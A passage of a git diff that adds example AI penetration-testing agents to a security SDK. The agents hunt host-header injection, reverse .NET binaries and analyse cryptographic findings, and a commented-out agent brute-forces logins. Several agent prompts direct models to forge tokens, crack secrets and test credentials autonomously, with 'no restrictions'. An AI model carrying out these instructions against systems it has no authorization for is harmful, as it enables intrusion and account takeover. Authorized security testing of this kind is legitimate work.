console.print(f"GRAPHQL INTROSPECTION CONFIRMED!") + else: + console.print(f"No GraphQL introspection exploitation possible") + + dn.log_metric("graphql_findings", graphql_count) + console.print(f"\nAnalysis Summary:") + console.print(f" GraphQL introspection vulnerabilities confirmed: {graphql_count}") + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + + +async def main(): + parser = argparse.ArgumentParser(description="GraphQL introspection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for GraphQL introspection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use (default: httpx,graphql_introspection)") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze GraphQL introspection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/host_header_hunter/.gitignore b/examples/agents/host_header_hunter/.gitignore new file mode 100644 index 00000000..94a2dd14 --- /dev/null +++ b/examples/agents/host_header_hunter/.gitignore @@ -0,0 +1 @@ +*.json \ No newline at end of file diff --git a/examples/agents/host_header_hunter/agent.py b/examples/agents/host_header_hunter/agent.py new file mode 100644 index 00000000..06c592cb --- /dev/null +++ b/examples/agents/host_header_hunter/agent.py @@ -0,0 +1,316 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(server=None, token=None, project="host-header-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze Host Header Finding", label="analyze_host_header_finding") +async def analyze_host_header_finding(finding_data: dict) -> dict: + """Analyze a BBOT host header injection finding for exploitability.""" + host_header_agent = create_host_header_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + console.print(f"[*] Analyzing host header injection finding on {host}") + console.print(f" URL: {url}") + console.print(f" Description: {description}") + + result = await host_header_agent.run( + f"Analyze the potential host header injection vulnerability at {url}. " + f"Test for host header injection by modifying the Host header with various payloads. " + f"Use the tools available to you to test systematically using your expertise." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_host_header_finding" in tools_used + has_host_header_injection = finding_stored + if result.messages and result.messages[-1].content: + has_host_header_injection = has_host_header_injection or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "host header injection confirmed", + "host header reflected", + "injection successful", + "host header vulnerability confirmed", + "malicious host reflected", + "host header injection detected", + "vulnerable to host header injection", + "host header poisoning", + "cache poisoning possible" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_host_header_injection", 1 if has_host_header_injection else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + analysis_result = { + "url": url, + "host": host, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_host_header_injection": has_host_header_injection, + "stored_in_db": finding_stored, + "original_finding": finding_data + } + + return analysis_result + + +def create_host_header_agent() -> Agent: + """Create a host header injection vulnerability analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool(), OastTool()] + + return Agent( + name="host-header-hunter-agent", + description="An agent that analyzes and exploits host header injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting host header injection vulnerabilities. + +Use the tools available to you to test for host header injection by modifying the Host header with various payloads. + +Analyze responses for indicators of host header injection such as: +- Host header values reflected in response body or headers +- Different response codes or content when host header is modified +- Cache poisoning indicators +- Password reset poisoning possibilities + +Be thorough and systematic in your testing approach. Use your expertise to choose appropriate payloads and techniques. + +If you confirm host header injection exists, use store_host_header_finding to record the vulnerability with details about the successful payload and evidence.""", + ) + + +def is_host_header_finding(event: dict) -> bool: + """Check if a BBOT event is a host header injection finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'Host Header Injection' in description or 'host header' in description.lower() + + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for host header injection vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + with dn.run("host-header-hunt-from-bbot"): + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting host header injection hunt on {len(targets)} targets using BBOT scan...") + + host_header_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "hunt"] + + for target in targets: + try: + console.print(f"[*] Scanning {target} for host header injection...") + + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_host_header_finding(event): + total_findings += 1 + console.print(f"Found host header injection candidate on {event.get('host')}") + + try: + analysis_result = await analyze_host_header_finding(event) + + if analysis_result["has_host_header_injection"]: + host_header_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "finding_type": "host_header_injection", + "risk_level": "medium", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"host_header_finding_{analysis_result['host']}", security_finding) + console.print(f"HOST HEADER INJECTION CONFIRMED on {analysis_result['host']}") + else: + console.print(f"Host header injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing host header injection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("host_header_confirmed", host_header_findings_count) + + console.print(f"\nHunt Summary:") + console.print(f" Host header injection candidates found: {total_findings}") + console.print(f" Host header injection vulnerabilities confirmed: {host_header_findings_count}") + + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze host header injection findings from a JSON file (for testing).""" + + with dn.run("host-header-analyze-findings"): + console.print(f"Analyzing findings from {finding_file}") + + try: + with open(finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + host_header_count = 0 + for finding in findings: + if is_host_header_finding(finding): + console.print(f"[*] Analyzing host header injection finding...") + analysis_result = await analyze_host_header_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_host_header_injection"]: + host_header_count += 1 + console.print(f"HOST HEADER INJECTION CONFIRMED!") + else: + console.print(f"No host header injection exploitation possible") + + dn.log_metric("host_header_findings", host_header_count) + console.print(f"\nAnalysis Summary:") + console.print(f" Host header injection vulnerabilities confirmed: {host_header_count}") + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + + +async def main(): + parser = argparse.ArgumentParser(description="Host header injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for host header injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use (default: httpx,hunt)") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze host header injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/ilspy/__init__.py b/examples/agents/ilspy/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/ilspy/agent.py b/examples/agents/ilspy/agent.py new file mode 100644 index 00000000..ed0ddc0b --- /dev/null +++ b/examples/agents/ilspy/agent.py @@ -0,0 +1,52 @@ +import asyncio +from pathlib import Path + +from rich import box +from rich.console import Console +from rich.markdown import Markdown +from rich.panel import Panel + +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.ilspy.tool import ILSpyTool + +console = Console() + + +async def main() -> AgentResult: + agent = Agent( + name="dotnet-reversing-agent", + description="An agent that uses ILSpy to reverse engineer .NET binaries.", + model="groq/moonshotai/kimi-k2-instruct", + tools=[ILSpyTool.from_path(path=str(Path(__file__).parent / "bin"))], + instructions="""You are an expert dotnet reverse engineer with decades of experience. Your task is to analyze the provided static binaries and identify high impact vulnerabilities using the tools available to you. You care most about exploitable bugs from a remote perspective. It is okay to review the code multiple times, + + - DO NOT write fixes or suggestions. + - DO NOT speculate, or make assumptions. Don't say could, might, maybe, or similar. + - DO NOT report encyption issues. + - DO NOT mock or pretend. + """, + ) + + result = await agent.run( + "Analyze the assemblies and report critical and high impact vulnerabilities that result in code execution. Please find an entry point and summarize the call flow to the vulnerability as markdown. Create a Mermaid diagram of the call flow.", + ) + + # Post-run + console.print( + Panel( + Markdown(result.messages[-1].content), + title="Response", + subtitle="powered by dreadnode", + border_style="cyan", + box=box.ROUNDED, + padding=(1, 2), + expand=False, + ) + ) + + return result + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/examples/agents/ilspy/bin/AddInUtil.exe b/examples/agents/ilspy/bin/AddInUtil.exe new file mode 100644 index 00000000..caf5cca2 Binary files /dev/null and b/examples/agents/ilspy/bin/AddInUtil.exe differ diff --git a/examples/agents/ilspy/bin/System.Addin.dll b/examples/agents/ilspy/bin/System.Addin.dll new file mode 100644 index 00000000..553943b5 Binary files /dev/null and b/examples/agents/ilspy/bin/System.Addin.dll differ diff --git a/examples/agents/ilspy/bin/mscorlib.dll b/examples/agents/ilspy/bin/mscorlib.dll new file mode 100644 index 00000000..c232731b Binary files /dev/null and b/examples/agents/ilspy/bin/mscorlib.dll differ diff --git a/examples/agents/jupyter/__init__.py b/examples/agents/jupyter/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/jupyter/agent.py b/examples/agents/jupyter/agent.py new file mode 100644 index 00000000..63831f7e --- /dev/null +++ b/examples/agents/jupyter/agent.py @@ -0,0 +1,23 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.jupyter.tool import PythonKernel + + +async def create_agent() -> Agent: + agent = Agent( + name="code-agent", + description="An agent that uses a Python kernel to perform coding tasks.", + model="gpt-4", + tools=[PythonKernel()], + ) + return agent + + +async def main() -> None: + agent = await create_agent() + agent.run("Write a Python function that returns the Fibonacci sequence up to n.") + + +if __name__ == "__main__": + import asyncio + + asyncio.run(main()) diff --git a/examples/agents/kali/__init__.py b/examples/agents/kali/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/kali/agent.py b/examples/agents/kali/agent.py new file mode 100644 index 00000000..9678f5ca --- /dev/null +++ b/examples/agents/kali/agent.py @@ -0,0 +1,17 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.kali.tool import KaliTool + +agent = Agent( + name="kali-agent", + description="An agent that uses the Kali toolset to perform penetration testing tasks.", + model="gpt-4", + tools=[KaliTool()], +) + + +def main() -> None: + agent.run("Perform a network scan on the target IP") + + +if __name__ == "__main__": + main() diff --git a/examples/agents/kali/auth.py b/examples/agents/kali/auth.py new file mode 100644 index 00000000..bd1ca369 --- /dev/null +++ b/examples/agents/kali/auth.py @@ -0,0 +1,17 @@ +# auth_agent = Agent( +# name="auth-brute-forcer", +# description="Performs credential stuffing, password sprays and brute force attacks on login pages", +# model="groq/moonshotai/kimi-k2-instruct", +# tools=[BBotTool(), KaliTool()], +# instructions="""You are an expert at credential testing and authentication bypass. + +# When you find login pages and authentication services, your job is to: +# 1. Identify the login form and authentication mechanism +# 2. Test common default credentials using the tools and wordlists provided +# 3. Suggest any additional required brute force attack strategies +# 4. Report successful authentications, interesting findings or errors encountered worth noting + +# IMPORTANT: Don't just suggest strategies - actually execute credential testing using your available tools. +# Be systematic and thorough in your credential testing approach. +# """, +# ) diff --git a/examples/agents/session_hunter/__init__.py b/examples/agents/session_hunter/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/session_hunter/agent.py b/examples/agents/session_hunter/agent.py new file mode 100644 index 00000000..f4434043 --- /dev/null +++ b/examples/agents/session_hunter/agent.py @@ -0,0 +1,511 @@ +import argparse +import asyncio +import json +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.oast.tool import OastTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(server=None, token=None, project="crypto-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze Crypto Finding", label="analyze_crypto_finding") +async def analyze_crypto_finding(crypto_event: dict[str, t.Any]) -> dict[str, t.Any]: + """Analyze cryptographic product finding using autonomous agent.""" + + description = crypto_event.get("data", {}).get("description", "") + url = crypto_event.get("data", {}).get("url", "") + host = crypto_event.get("host", "") + + console.print(f"[cyan]Crypto Hunter analyzing cryptographic finding...[/cyan]") + console.print(f"Host: {host}") + console.print(f"URL: {url}") + console.print(f"Finding: {description}") + + # Create autonomous crypto hunter agent + try: + agent = create_crypto_hunter_agent() + except Exception as e: + console.print(f"[red]Error creating agent: {e}[/red]") + return { + "error": f"Agent creation failed: {e}", + "event_id": crypto_event.get("id"), + "host": host, + "url": url + } + + # Let the agent autonomously analyze the cryptographic vulnerability + analysis_task = f""" + I've discovered a cryptographic security finding on {host}: + + URL: {url} + Finding Description: {description} + + This could involve session cookies, JWT tokens, API keys, encryption keys, or other cryptographic products. + + You MUST use the available tools to perform hands-on analysis: + + 1. Identify the specific cryptographic product type and implementation + 2. Use http_request tool to extract and analyze cryptographic artifacts (cookies, tokens, keys, etc.) + 3. Use curl tool to test different endpoints and gather more data + 4. Use hashcat tool if you find hashes or secrets to crack + 5. Test for common cryptographic weaknesses using your tools + 6. Develop proof-of-concept exploits demonstrating the security impact + 7. Assess the full scope of potential compromise + + START by immediately using the http_request or curl tools to gather data from the finding URL. Don't just analyze theoretically - actively investigate using tools! + """ + + dn.log_input("system_prompt_and_event", { + "system_prompt": analysis_task, + "event": crypto_event + }) + + try: + result = await agent.run(analysis_task) + + console.print("="*80) + + for i, message in enumerate(result.messages, 1): + role_color = { + "system": "dim", + "user": "green", + "assistant": "cyan", + "tool": "yellow" + }.get(message.role, "white") + + console.print(f"\n[{role_color}]Message {i} ({message.role.upper()}):[/{role_color}]") + + if message.role == "assistant" and message.tool_calls: + console.print(f"[{role_color}]Agent Response:[/{role_color}] {message.content}") + console.print(f"[bold {role_color}]Tool Calls:[/bold {role_color}]") + for tool_call in message.tool_calls: + console.print(f" - {tool_call.function.name}({tool_call.function.arguments})") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + console.print(f"[{role_color}]Tool '{tool_name}' Output:[/{role_color}]") + console.print(f" {message.content[:200]}{'...' if len(message.content) > 200 else ''}") + else: + if message.role == "assistant": + console.print(f"[{role_color}]{message.content or 'No content'}[/{role_color}]") + else: + content_preview = message.content[:300] if message.content else "No content" + console.print(f"[{role_color}]{content_preview}{'...' if len(message.content) > 300 else ''}[/{role_color}]") + + console.print("\n" + "="*80) + console.print(f"[bold]Agent Steps:[/bold] {result.steps}") + console.print(f"[bold]Token Usage:[/bold] {result.usage}") + + # Capture the full agent analysis from all assistant messages + analysis_parts = [] + for message in result.messages: + if message.role == "assistant" and message.content: + analysis_parts.append(message.content) + + analysis_result = "\n\n".join(analysis_parts) if analysis_parts else "No analysis provided" + + verdict = extract_verdict_from_analysis(analysis_result, crypto_event) + + # Log metrics (now within task context) + dn.log_metric("crypto_finding_analyzed", 1) + if "critical" in analysis_result.lower() or "vulnerable" in analysis_result.lower(): + dn.log_metric("critical_vulnerabilities", 1) + + # Extract tool usage like other agents + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content[:200] + "..." if len(message.content) > 200 else message.content + + final_result = { + "event_id": crypto_event.get("id"), + "host": host, + "url": url, + "has_vulnerability": verdict.get("vulnerable", False), + "severity": verdict.get("severity", "unknown"), + "key_findings": verdict.get("key_findings", []), + "agent_analysis": analysis_result, + "verdict": verdict, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "original_event": crypto_event, + "timestamp": crypto_event.get("timestamp") + } + + console.print(f"\n[bold green]AUTONOMOUS ANALYSIS COMPLETE[/bold green]") + console.print(f"[bold]Final Verdict:[/bold] [{'red' if verdict.get('severity') == 'critical' else 'yellow'}]{verdict.get('severity', 'unknown').upper()}[/]") + console.print(f"[bold]Vulnerable:[/bold] {verdict.get('vulnerable')}") + console.print(f"[bold]Key Findings:[/bold] {', '.join(verdict.get('key_findings', []))}") + console.print(f"[bold]Assessment Type:[/bold] {verdict.get('finding_type')}") + + dn.log_output("analysis", analysis_result) + + return final_result + + except Exception as e: + console.print(f"[red]Error in autonomous analysis: {e}[/red]") + return { + "error": f"Agent analysis failed: {e}", + "event_id": crypto_event.get("id"), + "host": host, + "url": url + } + + +def extract_verdict_from_analysis(analysis: str, event: dict) -> dict[str, t.Any]: + """Extract structured verdict from agent's autonomous analysis.""" + + analysis_lower = analysis.lower() + + severity = "low" + vulnerable = False + + if any(word in analysis_lower for word in ["critical", "severe", "high risk", "exploitable"]): + severity = "critical" + vulnerable = True + elif any(word in analysis_lower for word in ["medium", "moderate", "concerning"]): + severity = "medium" + vulnerable = "vulnerable" in analysis_lower or "exploitable" in analysis_lower + elif any(word in analysis_lower for word in ["low", "minor", "informational"]): + severity = "low" + + findings = [] + if "secret" in analysis_lower and ("cracked" in analysis_lower or "discovered" in analysis_lower): + findings.append("Session secret compromised") + if "forge" in analysis_lower or "craft" in analysis_lower: + findings.append("Session forgery possible") + if "bypass" in analysis_lower and "auth" in analysis_lower: + findings.append("Authentication bypass possible") + + return { + "finding_type": "cryptographic_analysis", + "host": event.get("host"), + "url": event.get("data", {}).get("url"), + "severity": severity, + "vulnerable": vulnerable, + "autonomous_analysis": True, + "key_findings": findings, + "agent_assessment": analysis, + "timestamp": event.get("timestamp") + } + +def create_crypto_hunter_agent() -> Agent: + """Create an autonomous crypto hunter agent with full tool access.""" + tools = [BBotTool(), KaliTool(), OastTool()] + + return Agent( + name="crypto-hunter-agent", + description="Autonomous agent for analyzing cryptographic vulnerabilities across all implementations", + model="gpt-4-turbo", + tools=tools, + max_steps=10, + instructions="""You are an elite cryptographic security researcher with expertise across all cryptographic implementations and protocols. + +You have complete autonomy to analyze ANY type of cryptographic vulnerability using creative methods and all available tools. Be innovative, thorough, and think like an advanced cryptographic attacker. + +CRYPTOGRAPHIC EXPERTISE AREAS: +- Session management (Express.js, Django, Rails, PHP, .NET, etc.) +- JSON Web Tokens (JWT) and OAuth implementations +- API keys and authentication tokens +- Encryption keys and cipher implementations +- Certificate and PKI vulnerabilities +- Cryptographic libraries and frameworks +- Custom crypto implementations + +CAPABILITIES & APPROACH: +- Use BBotTool for additional reconnaissance and cryptographic artifact discovery +- Use KaliTool for hashcat password cracking, HTTP testing, and cryptanalysis +- Use OastTool for out-of-band testing and callback verification +- Create your own cryptanalysis tools, wordlists, and attack vectors +- Develop novel approaches to cryptographic analysis +- Explore timing attacks, side channels, and implementation flaws + +AUTONOMOUS ANALYSIS METHODOLOGY: +1. Cryptographic Product Identification: + - Analyze the specific crypto product type and implementation + - Identify algorithms, key derivation methods, and encoding formats + - Reverse-engineer custom implementations + +2. Weakness Discovery: + - Test for weak/default secrets and keys + - Analyze randomness and entropy issues + - Look for algorithm downgrade attacks + - Test padding oracle and timing vulnerabilities + +3. Exploitation Development: + - Craft cryptographic exploits and proof-of-concepts + - Forge tokens, cookies, and signatures + - Demonstrate key recovery attacks + - Test real-world attack scenarios with browser automation + +4. Advanced Cryptanalysis: + - Side-channel attacks on crypto operations + - Fault injection and implementation attacks + - Mathematical weaknesses in custom crypto + - Protocol-level vulnerabilities + +5. Impact Assessment: + - Demonstrate full scope of compromise + - Test authentication and authorization bypass + - Document data exposure risks + - Provide remediation guidance + +When you find CONFIRMED cryptographic vulnerabilities, store them using Neo4jTool.store_crypto_finding(host, vulnerability_type, risk_level, affected_component, technical_details). + +Be completely autonomous and creative. Use any approach you deem effective - there are no restrictions on your methodology. Your goal is to provide comprehensive cryptographic security intelligence.""", + ) + +def is_crypto_finding(event: dict[str, t.Any]) -> bool: + """Check if a BBOT event is a cryptographic finding.""" + if event.get("type") != "FINDING": + return False + + description = event.get("data", {}).get("description", "").lower() + + return ( + "cryptographic product" in description or + "jwt" in description or + "json web token" in description or + ("session" in description and "cookie" in description) or + "api key" in description or + "secret key" in description or + "encryption key" in description or + "signing key" in description or + ("certificate" in description and ("weak" in description or "expired" in description)) or + "oauth" in description or + "openid connect" in description or + "bearer token" in description or + ("hash" in description and ("weak" in description or "collision" in description)) + ) + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for cryptographic vulnerabilities using autonomous agent analysis.""" + + with dn.run(): + if isinstance(targets, Path): + with targets.open() as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided.") + return + + hunt_input = { + "targets": targets, + "scan_config": { + "presets": presets, + "modules": modules, + "flags": flags, + "config": str(config) if config else None + } + } + dn.log_input("hunt_parameters", hunt_input) + + console.print(f"Starting autonomous crypto hunting on {len(targets)} targets...") + + crypto_findings_analyzed = 0 + critical_findings = 0 + findings = [] + + tool = BBotTool() + + scan_modules = modules or ["httpx", "badsecrets", "secretsdb", "cookies"] + for required_module in ["badsecrets", "secretsdb"]: + if required_module not in scan_modules: + scan_modules.append(required_module) + + for target in targets: + try: + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_crypto_finding(event): + console.print(f"Found crypto finding: {event.get('data', {}).get('host')}") + + try: + analysis_result = await analyze_crypto_finding(event) + crypto_findings_analyzed += 1 + + if analysis_result.get("has_vulnerability"): + critical_findings += 1 + + # Store finding like other agents + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "finding_type": "crypto_vulnerability", + "severity": analysis_result["severity"], + "key_findings": analysis_result["key_findings"], + "analysis": analysis_result["agent_analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": analysis_result["timestamp"], + } + + findings.append(security_finding) + dn.log_output(f"crypto_finding_{analysis_result['host']}", security_finding) + console.print(f"[green]Crypto vulnerability confirmed on {analysis_result['host']}[/green]") + else: + console.print(f"No exploitable crypto vulnerability on {event.get('host')}") + + except Exception as e: + console.print(f"Error in autonomous crypto analysis: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("crypto_findings_analyzed", crypto_findings_analyzed) + dn.log_metric("critical_vulnerabilities", critical_findings) + if findings: + dn.log_output("findings", findings) + + console.print(f"Hunt Summary:") + console.print(f" Crypto findings analyzed: {crypto_findings_analyzed}") + console.print(f" Critical vulnerabilities: {critical_findings}") + +async def analyze_finding_file(finding_file: Path) -> None: + """Analyze BBOT findings from JSON/JSONL file using autonomous agent.""" + + with dn.run(): + dn.log_input("finding_file", str(finding_file)) + + console.print(f"Analyzing finding file: {finding_file}") + + crypto_findings = [] + total_events = 0 + + try: + with finding_file.open() as f: + for line_num, line in enumerate(f, 1): + line = line.strip() + if not line: + continue + + try: + finding_data = json.loads(line) + total_events += 1 + + if is_crypto_finding(finding_data): + crypto_findings.append(finding_data) + + except json.JSONDecodeError as e: + console.print(f"[yellow]Skipping invalid JSON on line {line_num}: {e}[/yellow]") + continue + + console.print(f"Found {len(crypto_findings)} cryptographic findings out of {total_events} total events") + + if not crypto_findings: + console.print("No cryptographic findings detected in this file.") + return + + for i, finding_data in enumerate(crypto_findings, 1): + console.print(f"\n[cyan]--- Analyzing Crypto Finding {i}/{len(crypto_findings)} ---[/cyan]") + + analysis_result = await analyze_crypto_finding(finding_data) + + console.print(f"\n[bold]Autonomous Crypto Analysis Results:[/bold]") + verdict = analysis_result.get("verdict", {}) + console.print(f"Host: {verdict.get('host')}") + console.print(f"URL: {verdict.get('url')}") + console.print(f"Severity: {verdict.get('severity', 'unknown').upper()}") + console.print(f"Vulnerable: {verdict.get('vulnerable')}") + console.print(f"Key Findings: {', '.join(verdict.get('key_findings', []))}") + + if i < len(crypto_findings): + console.print("\n" + "="*50) + + dn.log_metric("total_events", total_events) + dn.log_metric("crypto_findings_found", len(crypto_findings)) + + except Exception as e: + console.print(f"Error analyzing finding file: {e}") + dn.log_output("error", str(e)) + +async def main() -> None: + parser = argparse.ArgumentParser(description="Crypto Hunter - Autonomous cryptographic vulnerability analyzer") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for crypto vulnerabilities using autonomous agent") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze a single BBOT finding with autonomous agent") + analyze_parser.add_argument("finding_file", type=Path, help="Path to BBOT finding JSON file") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file) + else: + parser.print_help() + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/skopeo/agent.py b/examples/agents/skopeo/agent.py new file mode 100644 index 00000000..86891fd5 --- /dev/null +++ b/examples/agents/skopeo/agent.py @@ -0,0 +1,24 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.skopeo.tool import SkopeoTool + +# More often than not, you'll want to run the tool to get outputs +# and have the agent use those outputs as context. +tool = SkopeoTool() + + +agent = Agent( + name="skopeo-agent", + description="An agent that uses Skopeo to inspect Microsoft Container Registry images.", + model="gpt-4", + tools=[SkopeoTool()], +) + + +async def main() -> None: + agent.run("List the files in the latest mcr.microsoft.com/dotnet/aspnet image.") + + +if __name__ == "__main__": + import asyncio + + asyncio.run(main()) diff --git a/examples/agents/sqli_hunter/.gitignore b/examples/agents/sqli_hunter/.gitignore new file mode 100644 index 00000000..94a2dd14 --- /dev/null +++ b/examples/agents/sqli_hunter/.gitignore @@ -0,0 +1 @@ +*.json \ No newline at end of file diff --git a/examples/agents/sqli_hunter/agent.py 